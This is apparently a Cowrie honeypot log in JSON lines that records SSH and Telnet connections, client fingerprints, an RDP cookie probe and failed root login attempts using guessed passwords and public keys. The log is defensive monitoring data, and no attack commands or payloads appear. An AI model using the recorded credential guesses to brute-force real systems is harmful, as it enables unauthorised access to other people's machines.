s":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:33.396603Z","src_ip":"62.133.63.178","session":"40efc5947ae5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r1","message":"login attempt [root/1q2w3e4r1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:33.772477Z","src_ip":"62.133.63.178","session":"40efc5947ae5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.96539115905762,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:34.286460Z","src_ip":"152.42.224.71","session":"04a5083e8b0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:34.904884Z","src_ip":"62.133.63.178","session":"40efc5947ae5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":57325,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5cb43a3cb7b","protocol":"ssh","message":"New connection: 167.172.81.52:57325 (10.17.0.5:22) [session: c5cb43a3cb7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:38.117079Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:38.133190Z","src_ip":"167.172.81.52","session":"c5cb43a3cb7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:38.138369Z","src_ip":"167.172.81.52","session":"c5cb43a3cb7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":53330,"dst_ip":"10.17.0.5","dst_port":22,"session":"c94b4687e64b","protocol":"ssh","message":"New connection: 109.172.54.111:53330 (10.17.0.5:22) [session: c94b4687e64b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:45.522770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:45.528344Z","src_ip":"109.172.54.111","session":"c94b4687e64b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:45.623568Z","src_ip":"109.172.54.111","session":"c94b4687e64b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfrcbv123","message":"login attempt [root/vfrcbv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:45.912330Z","src_ip":"109.172.54.111","session":"c94b4687e64b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:47.046784Z","src_ip":"109.172.54.111","session":"c94b4687e64b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.20672678947449,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:48.316774Z","src_ip":"152.42.224.71","session":"8003bdc80093","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55690,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5e96f15963b","protocol":"telnet","message":"New connection: 152.42.224.71:55690 (10.17.0.5:23) [session: b5e96f15963b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:48.369712Z"}
{"eventid":"cowrie.session.closed","duration":31.465906143188477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:27:57.449116Z","src_ip":"152.42.224.71","session":"85fbf38ed9e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00787043571472,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:04.093849Z","src_ip":"152.42.224.71","session":"0dcd5d64028d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47528,"dst_ip":"10.17.0.5","dst_port":23,"session":"6453cd66fcb2","protocol":"telnet","message":"New connection: 152.42.224.71:47528 (10.17.0.5:23) [session: 6453cd66fcb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:25.872266Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":35560,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c4795d9ac9c","protocol":"ssh","message":"New connection: 103.195.236.96:35560 (159.203.135.109:22) [session: 8c4795d9ac9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:41.825978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:41.830682Z","src_ip":"103.195.236.96","session":"8c4795d9ac9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:42.073338Z","src_ip":"103.195.236.96","session":"8c4795d9ac9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1981","message":"login attempt [root/1981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:42.800661Z","src_ip":"103.195.236.96","session":"8c4795d9ac9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:44.056790Z","src_ip":"103.195.236.96","session":"8c4795d9ac9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46330,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a266c01e091","protocol":"telnet","message":"New connection: 152.42.224.71:46330 (10.17.0.5:23) [session: 8a266c01e091]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:46.170318Z"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.165.250","src_port":53902,"dst_ip":"10.17.0.5","dst_port":22,"session":"d44835aceca9","protocol":"ssh","message":"New connection: 129.232.165.250:53902 (10.17.0.5:22) [session: d44835aceca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:52.795282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:52.801211Z","src_ip":"129.232.165.250","session":"d44835aceca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:53.055448Z","src_ip":"129.232.165.250","session":"d44835aceca9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6f:d4:8c:13:31:3c:e3:42:a6:6d:bb:c5:6b:6f:97:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDpp+0MiXMn8yZI7z6eGsMbRE+QlK9nW2KqNwiZEexrDraxvhNiQfQwuzikdYEEs9pvwqe7OKT49kJHFfvuhoLpUx2SSYQ5CdpoIZi9kWSd8MAuXt8qwrJ7LeiLGFwevLmHUjO/cyHwmvqhaECIFJd8QT5iRbTfJRx7igiPMRtVrulc0amt/5802DnDMQZaX85QKiLle2MQcBh3n/+zhxidEK7juqSFfimvnKpnyp/nGnKTcR8Q9qhrlIXHNZcgEiBtDZbrM/wMalxgTT9gffpmQ5f2gCm+7lpYwBNVTfRP1cN8txcG9afcstBcOF5rS//eALnMGgTphAh9bYcqTdx3UIlnZLH9QzAIJUat9plhVIvZ2Uvvz/TKUw/JbJoxks0tpZ5NMikCmQHWeYAyfoLEF/4EwMuPEuvd1fje3d0Ua+6cnCk37eSF6f1OvA0/mEZDKhHmoEchyvQJ1TEZWKqMC9CsvWC2ZQ896EYWfWbMOiz0KW6M/cKHq8rSjJvwcqc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6f:d4:8c:13:31:3c:e3:42:a6:6d:bb:c5:6b:6f:97:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:54.300253Z","src_ip":"129.232.165.250","session":"d44835aceca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6f:d4:8c:13:31:3c:e3:42:a6:6d:bb:c5:6b:6f:97:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDpp+0MiXMn8yZI7z6eGsMbRE+QlK9nW2KqNwiZEexrDraxvhNiQfQwuzikdYEEs9pvwqe7OKT49kJHFfvuhoLpUx2SSYQ5CdpoIZi9kWSd8MAuXt8qwrJ7LeiLGFwevLmHUjO/cyHwmvqhaECIFJd8QT5iRbTfJRx7igiPMRtVrulc0amt/5802DnDMQZaX85QKiLle2MQcBh3n/+zhxidEK7juqSFfimvnKpnyp/nGnKTcR8Q9qhrlIXHNZcgEiBtDZbrM/wMalxgTT9gffpmQ5f2gCm+7lpYwBNVTfRP1cN8txcG9afcstBcOF5rS//eALnMGgTphAh9bYcqTdx3UIlnZLH9QzAIJUat9plhVIvZ2Uvvz/TKUw/JbJoxks0tpZ5NMikCmQHWeYAyfoLEF/4EwMuPEuvd1fje3d0Ua+6cnCk37eSF6f1OvA0/mEZDKhHmoEchyvQJ1TEZWKqMC9CsvWC2ZQ896EYWfWbMOiz0KW6M/cKHq8rSjJvwcqc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:54.304361Z","src_ip":"129.232.165.250","session":"d44835aceca9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3c:cb:f1:33:63:92:c2:9f:5c:8f:46:76:02:40:7f:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkEScR01jcPWEfF6Woid0/KmeK2BMAR8Y+j6Fw2K33G/lf29yvRmzmGsJ6moDriU69yZEI24s0LjgqkR5LGZiH4S9dcMSQ1XSghzcmyKwJkF8MiQTgOCzlq96YSVTYbSHpfceL6Y7i6B+7VS+LqvAZyEsbwAPVWKZ7pGrTnhDP64MaYaIp7tOtFhmqd+wOf009tzLwZ0PI1DC5Qi33TXn4UxdBAG9EU/dsQBjT+KL5qh6YcjowUZqLPjG8FeLZlOT19JOABI2cFhC8fNYjjOXZ6Vqi2x5yOwqpzqaqC31D88HZTUmL+qUcD+J+piV4fjK7KJHqX2UsjjR2TDxawEnF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3c:cb:f1:33:63:92:c2:9f:5c:8f:46:76:02:40:7f:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:54.563591Z","src_ip":"129.232.165.250","session":"d44835aceca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3c:cb:f1:33:63:92:c2:9f:5c:8f:46:76:02:40:7f:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkEScR01jcPWEfF6Woid0/KmeK2BMAR8Y+j6Fw2K33G/lf29yvRmzmGsJ6moDriU69yZEI24s0LjgqkR5LGZiH4S9dcMSQ1XSghzcmyKwJkF8MiQTgOCzlq96YSVTYbSHpfceL6Y7i6B+7VS+LqvAZyEsbwAPVWKZ7pGrTnhDP64MaYaIp7tOtFhmqd+wOf009tzLwZ0PI1DC5Qi33TXn4UxdBAG9EU/dsQBjT+KL5qh6YcjowUZqLPjG8FeLZlOT19JOABI2cFhC8fNYjjOXZ6Vqi2x5yOwqpzqaqC31D88HZTUmL+qUcD+J+piV4fjK7KJHqX2UsjjR2TDxawEnF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:54.568689Z","src_ip":"129.232.165.250","session":"d44835aceca9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:16:2f:8d:ac:2a:ce:50:1a:2b:b1:59:b7:ef:95:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNik7cBIA1rKziktrIf+OQZn/lCHTQ4r/mwIwCjWmFOTmHpNq2/Rczhh/lfVnCZybtBn/Z6fBpoim0NgP5Dq+YeDHbC0Pl2JXQTPWl4A35IMR/05uCpgcQvafEFSd5JU0vNtHF/sysMGK2l3WpDe9BdPiE1EKRviAMGsWvSX7hSlRxK7qtY/IO0necAr1stUy0INcwqYK7T3oaOjd+h+XUa4+QB/sSdbJz10M7qNUCOdGA1lvbLEcES/vXkcvNN1MrB5Mum+I9uV1QjuIHqovlMTAX+++VeX5VkVO56o+H1OUZ3pfMNPkNFHmyXkGfA1QOjr8kO5U954Qydoj2ia8H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:16:2f:8d:ac:2a:ce:50:1a:2b:b1:59:b7:ef:95:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:54.824756Z","src_ip":"129.232.165.250","session":"d44835aceca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:16:2f:8d:ac:2a:ce:50:1a:2b:b1:59:b7:ef:95:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNik7cBIA1rKziktrIf+OQZn/lCHTQ4r/mwIwCjWmFOTmHpNq2/Rczhh/lfVnCZybtBn/Z6fBpoim0NgP5Dq+YeDHbC0Pl2JXQTPWl4A35IMR/05uCpgcQvafEFSd5JU0vNtHF/sysMGK2l3WpDe9BdPiE1EKRviAMGsWvSX7hSlRxK7qtY/IO0necAr1stUy0INcwqYK7T3oaOjd+h+XUa4+QB/sSdbJz10M7qNUCOdGA1lvbLEcES/vXkcvNN1MrB5Mum+I9uV1QjuIHqovlMTAX+++VeX5VkVO56o+H1OUZ3pfMNPkNFHmyXkGfA1QOjr8kO5U954Qydoj2ia8H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:54.829733Z","src_ip":"129.232.165.250","session":"d44835aceca9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:52:2d:26:bd:8a:71:d5:ea:6f:b6:11:68:23:3c:5a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJpKKXu3rVGegzasDxb+ZMTW1KR1nbUrLxFEZ8q6VCHU","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 7a:52:2d:26:bd:8a:71:d5:ea:6f:b6:11:68:23:3c:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:55.087035Z","src_ip":"129.232.165.250","session":"d44835aceca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:52:2d:26:bd:8a:71:d5:ea:6f:b6:11:68:23:3c:5a","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJpKKXu3rVGegzasDxb+ZMTW1KR1nbUrLxFEZ8q6VCHU","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:55.091290Z","src_ip":"129.232.165.250","session":"d44835aceca9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:6b:81:c4:a7:28:73:30:28:fc:bb:46:4b:12:00:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzWyVy0Vz57A4qqWDytPa62AurJwV7+ZW8IjONq5elkAnFD6jtMBIBGmHbi2JAa8v/S1sbePnG5m7wjn0RFzASlreUbadn1oHeqPPpVgc9Ai8sFGolIKAlzeSvlNKwH1zeOr/z0xF2pPS/+CRpwm6ybB7j2Bk3ZM5bRa926o2rJBtTZVriD+lMe9451sc0ZW4ZXcsoIRaNKcFOogP9beNVh3MgO9C6KMZ+S8UGW3hE6wV7beKJLgyBQTSWTRmJ4ckNq4ijKZNkP7ZnMfI18p+0tmVgklbA5x9N3ZVAVC5vkh+l4kPcB4Od2x1q1odhdaGHxyCmrlHvQ8gNRQN4dWEl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:6b:81:c4:a7:28:73:30:28:fc:bb:46:4b:12:00:73","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:55.350497Z","src_ip":"129.232.165.250","session":"d44835aceca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:6b:81:c4:a7:28:73:30:28:fc:bb:46:4b:12:00:73","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzWyVy0Vz57A4qqWDytPa62AurJwV7+ZW8IjONq5elkAnFD6jtMBIBGmHbi2JAa8v/S1sbePnG5m7wjn0RFzASlreUbadn1oHeqPPpVgc9Ai8sFGolIKAlzeSvlNKwH1zeOr/z0xF2pPS/+CRpwm6ybB7j2Bk3ZM5bRa926o2rJBtTZVriD+lMe9451sc0ZW4ZXcsoIRaNKcFOogP9beNVh3MgO9C6KMZ+S8UGW3hE6wV7beKJLgyBQTSWTRmJ4ckNq4ijKZNkP7ZnMfI18p+0tmVgklbA5x9N3ZVAVC5vkh+l4kPcB4Od2x1q1odhdaGHxyCmrlHvQ8gNRQN4dWEl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:55.354638Z","src_ip":"129.232.165.250","session":"d44835aceca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:55.613950Z","src_ip":"129.232.165.250","session":"d44835aceca9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60054,"dst_ip":"10.17.0.5","dst_port":23,"session":"dba5ae57a435","protocol":"telnet","message":"New connection: 152.42.224.71:60054 (10.17.0.5:23) [session: dba5ae57a435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:28:57.148970Z"}
{"eventid":"cowrie.session.closed","duration":37.23147439956665,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:03.103585Z","src_ip":"152.42.224.71","session":"6453cd66fcb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.718092918395996,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:15.888269Z","src_ip":"152.42.224.71","session":"8a266c01e091","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":98.963454246521,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:27.333034Z","src_ip":"152.42.224.71","session":"b5e96f15963b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.60.187","src_port":58326,"dst_ip":"10.17.0.5","dst_port":22,"session":"65e283d6136b","protocol":"ssh","message":"New connection: 199.127.60.187:58326 (10.17.0.5:22) [session: 65e283d6136b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:29:31.855587Z"}
